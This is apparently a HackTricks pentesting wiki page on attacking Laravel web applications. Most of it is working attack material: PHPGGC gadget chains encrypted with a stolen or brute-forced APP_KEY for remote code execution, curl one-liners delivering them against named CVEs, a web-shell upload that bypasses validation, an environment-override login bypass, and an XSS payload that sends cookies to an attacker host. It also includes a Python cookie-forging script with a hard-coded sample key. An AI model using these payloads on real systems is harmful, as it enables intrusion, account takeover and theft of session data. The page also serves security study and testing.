Laravel
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the π¬ Discord group or the telegram group or follow us on Twitter π¦ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Laravel SQLInjection
Read information about this here: https://stitcher.io/blog/unsafe-sql-functions-in-laravel
APP_KEY & Encryption internals (Laravel >=5.6)
Laravel uses AES-256-CBC (or GCM) with HMAC integrity under the hood (Illuminate\Encryption\Encrypter).
The raw ciphertext that is finally sent to the client is Base64 of a JSON object like:
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
encrypt($value, $serialize=true) will serialize() the plaintext by default, whereas
decrypt($payload, $unserialize=true) will automatically unserialize() the decrypted value.
Therefore any attacker that knows the 32-byte secret APP_KEY can craft an encrypted PHP serialized object and gain RCE via magic methods (__wakeup, __destruct, β¦).
Minimal PoC (framework β₯9.x):
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
Inject the produced string into any vulnerable decrypt() sink (route param, cookie, session, β¦).
laravel-crypto-killer π§¨
laravel-crypto-killer automates the whole process and adds a convenient bruteforce mode:
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field.
Real-world vulnerable patterns
| Project | Vulnerable sink | Gadget chain |
|---|---|---|
| Invoice Ninja β€v5 (CVE-2024-55555) | /route/{hash} β decrypt($hash) | Laravel/RCE13 |
| Snipe-IT β€v6 (CVE-2024-48987) | XSRF-TOKEN cookie when Passport::withCookieSerialization() is enabled | Laravel/RCE9 |
| Crater (CVE-2024-55556) | SESSION_DRIVER=cookie β laravel_session cookie | Laravel/RCE15 |
The exploitation workflow is always:
- Obtain or brute-force the 32-byte
APP_KEY. - Build a gadget chain with PHPGGC (for example
Laravel/RCE13,Laravel/RCE9orLaravel/RCE15). - Encrypt the serialized gadget with laravel_crypto_killer.py and the recovered
APP_KEY. - Deliver the ciphertext to the vulnerable
decrypt()sink (route parameter, cookie, session β¦) to trigger RCE.
Below are concise one-liners demonstrating the full attack path for each real-world CVE mentioned above:
# Invoice Ninja β€5 β /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"
# Snipe-IT β€6 β XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login
# Crater β cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
Mass APP_KEY discovery via cookie brute-force
Because every fresh Laravel response sets at least 1 encrypted cookie (XSRF-TOKEN and usually laravel_session), public internet scanners (Shodan, Censys, β¦) leak millions of ciphertexts that can be attacked offline.
Key findings of the research published by Synacktiv (2024-2025):
- Dataset July 2024 Β» 580 k tokens, 3.99 % keys cracked (β23 k)
- Dataset May 2025 Β» 625 k tokens, 3.56 % keys cracked
-
1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.
- Huge key reuse β the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, β¦).
The private Go tool nounours pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes.
CVE-2024-52301 β HTTP argv/env override β auth bypass
When PHPβs register_argc_argv=On (typical on many distros), PHP exposes an argv array for HTTP requests derived from the query string. Recent Laravel versions parsed these βCLI-likeβ args and honored --env=<value> at runtime. This allows flipping the framework environment for the current HTTP request just by appending it to any URL:
-
Quick check:
- Visit
https://target/?--env=localor any string and look for environment-dependent changes (debug banners, footers, verbose errors). If the string is reflected, the override is working.
- Visit
-
Impact example (business logic trusting a special env):
- If the app contains branches like
if (app()->environment('preprod')) { /* bypass auth */ }, you can authenticate without valid creds by sending the login POST to:POST /login?--env=preprod
- If the app contains branches like
-
Notes:
- Works per-request, no persistence.
- Requires
register_argc_argv=Onand a vulnerable Laravel version that reads argv for HTTP. - Useful primitive to surface more verbose errors in βdebugβ envs or to trigger environment-gated code paths.
-
Mitigations:
- Disable
register_argc_argvfor PHP-FPM/Apache. - Upgrade Laravel to ignore argv on HTTP requests and remove any trust assumptions tied to
app()->environment()in production routes.
- Disable
Minimal exploitation flow (Burp):
POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf
CVE-2025-27515 β Wildcard file validation bypass (files.*)
Laravel 10.0β10.48.28, 11.0.0β11.44.0 and 12.0.0β12.1.0 let crafted multipart requests completely skip any rule attached to files.* / images.*. The parser that expands wildcard keys could be confused with attacker-controlled placeholders (for example, pre-populating __asterisk__ segments), so the framework would hydrate UploadedFile objects without ever running image, mimes, dimensions, max, etc. Once a malicious blob lands in Storage::putFile* you can pivot to any of the file-upload primitives already listed in HackTricks (web shells, log poisoning, signed job deserialization, β¦).
Hunting for the pattern
- Static:
rg -n "files\\.\*" -g"*.php" app/or inspectFormRequestclasses forrules()returning arrays that containfiles.*. - Dynamic: hook
Illuminate\Validation\Validator::validate()via Xdebug or Laravel Telescope in pre-production to log every request that hits the vulnerable rule. - Middleware/route review: endpoints bundling multiple files (avatar importers, document portals, drag-n-drop components) tend to trust
files.*.
Practical exploitation workflow
- Capture a legitimate upload and replay it in Burp Repeater.
- Duplicate the same part but alter the field name so it already includes placeholder tokens (e.g.,
files[0][__asterisk__payload]) or nest another array (files[0][alt][0]). On vulnerable builds, that second part never gets validated but still becomes anUploadedFileentry. - Point the forged file to a PHP payload (
shell.php,.phar, polyglot) and force the application to store it in a web-accessible disk (commonlypublic/oncephp artisan storage:linkis enabled).
curl -sk https://target/upload \
-F 'files[0]=@ok.png;type=image/png' \
-F 'files[0][__asterisk__payload]=@shell.php;type=text/plain' \
-F 'description=lorem'
Keep fuzzing key names (files.__dot__0, files[0][0], files[0][uuid] β¦) until you find one that bypasses the validator but still gets written to disk; patched versions reject these crafted attribute names immediately.
Ecosystem package vulns worth chaining (2025)
CVE-2025-47275 β Auth0-PHP CookieStore tag brute-force (affects auth0/laravel-auth0)
If the project uses Auth0 login with the default CookieStore backend and auth0/auth0-php < 8.14.0, the GCM tag on the auth0 session cookie is short enough to brute-force offline. Capture a cookie, change the JSON payload (e.g., set "sub":"auth0|admin" and app_metadata.roles), brute-force the tag, and replay it to gain a valid Laravel guard session. Quick checks: composer.lock shows auth0/auth0-php <8.14.0 and .env has AUTH0_SESSION_STORAGE=cookie.
CVE-2025-48490 β lomkit/laravel-rest-api validation override
The lomkit/laravel-rest-api package before 2.13.0 merges per-action rules incorrectly: later definitions override earlier ones for the same attribute, letting crafted fields skip validation (e.g., overwrite filter rules during an update action), leading to mass assignment or unvalidated SQL-ish filters. Practical checks:
composer.locklistslomkit/laravel-rest-api<2.13.0./_rest/users?filters[0][column]=password&filters[0][operator]==is accepted instead of rejected, showing filter validation was bypassed.
Laravel Tricks
Debugging mode
If Laravel is in debugging mode you will be able to access the code and sensitive data.
For example http://127.0.0.1:8000/profiles:
.png)
This is usually needed for exploiting other Laravel RCE CVEs.
CVE-2024-13918 / CVE-2024-13919 β reflected XSS in Whoops debug pages
- Affected: Laravel 11.9.0β11.35.1 with
APP_DEBUG=true(either globally or forced via misconfigured env overrides like CVE-2024-52301). - Primitive: every uncaught exception rendered by Whoops echoes parts of the request/route without HTML encoding, so injecting
<img src>/<script>in a route or request parameter yields stored-on-response XSS before authentication. - Impact: steal
XSRF-TOKEN, leak stack traces with secrets, open a browser-based pivot to hit_ignition/execute-solutionin victim sessions, or chain with passwordless dashboards that rely on cookies.
Minimal PoC:
// blade/web.php (attacker-controlled param reflected)
Route::get('/boom/{id}', function ($id) {
abort(500);
});
curl -sk "https://target/boom/%3Cscript%3Efetch('//attacker/x?c='+document.cookie)%3C/script%3E"
Even if debug mode is normally off, forcing an error via background jobs or queue workers and probing the _ignition/health-check endpoint often reveals staging hosts that still expose this chain.
Fingerprinting & exposed dev endpoints
Quick checks to identify a Laravel stack and dangerous dev tooling exposed in production:
/_ignition/health-checkβ Ignition present (debug tool used by CVE-2021-3129). If reachable unauthenticated, the app may be in debug or misconfigured./_debugbarβ Laravel Debugbar assets; often indicates debug mode./telescopeβ Laravel Telescope (dev monitor). If public, expect broad information disclosure and possible actions./horizonβ Queue dashboard; version disclosure and sometimes CSRF-protected actions.X-Powered-By, cookiesXSRF-TOKENandlaravel_session, and Blade error pages also help fingerprint.
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done
.env
Laravel saves the APP it uses to encrypt the cookies and other credentials inside a file called .env that can be accessed using some path traversal under: /../.env
Laravel will also show this information inside the debug page (that appears when Laravel finds an error and itβs activated).
Using the secret APP_KEY of Laravel you can decrypt and re-encrypt cookies:
Decrypt Cookie
Decrypt/encrypt cookies helper (Python)
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps
#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)
def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)
def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''
def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')
Laravel Deserialization RCE
Vulnerable versions: 5.5.40 and 5.6.x through 5.6.29 (https://www.cvedetails.com/cve/CVE-2018-15133/)
Here you can find information about the deserialization vulnerability here: https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/
You can test and exploit it using https://github.com/kozmic/laravel-poc-CVE-2018-15133
Or you can also exploit it with metasploit: use unix/http/laravel_token_unserialize_exec
CVE-2021-3129
Another deserialization: https://github.com/ambionics/laravel-exploits
References
- Laravel: APP_KEY leakage analysis (EN)
- Laravel : analyse de fuite dβAPP_KEY (FR)
- laravel-crypto-killer
- PHPGGC β PHP Generic Gadget Chains
- CVE-2018-15133 write-up (WithSecure)
- CVE-2024-52301 advisory β Laravel argv env detection
- CVE-2024-52301 PoC β register_argc_argv HTTP argv β βenv override
- 0xdf β HTB Environment (CVEβ2024β52301 env override β auth bypass)
- GHSA-78fx-h6xr-vch4 β Laravel wildcard file validation bypass (CVE-2025-27515)
- SBA Research β CVE-2024-13919 reflected XSS in debug-mode error page
- CVE-2025-47275 β Auth0-PHP CookieStore tag brute-force (laravel-auth0)
- CVE-2025-48490 β lomkit/laravel-rest-api validation override
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the π¬ Discord group or the telegram group or follow us on Twitter π¦ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.


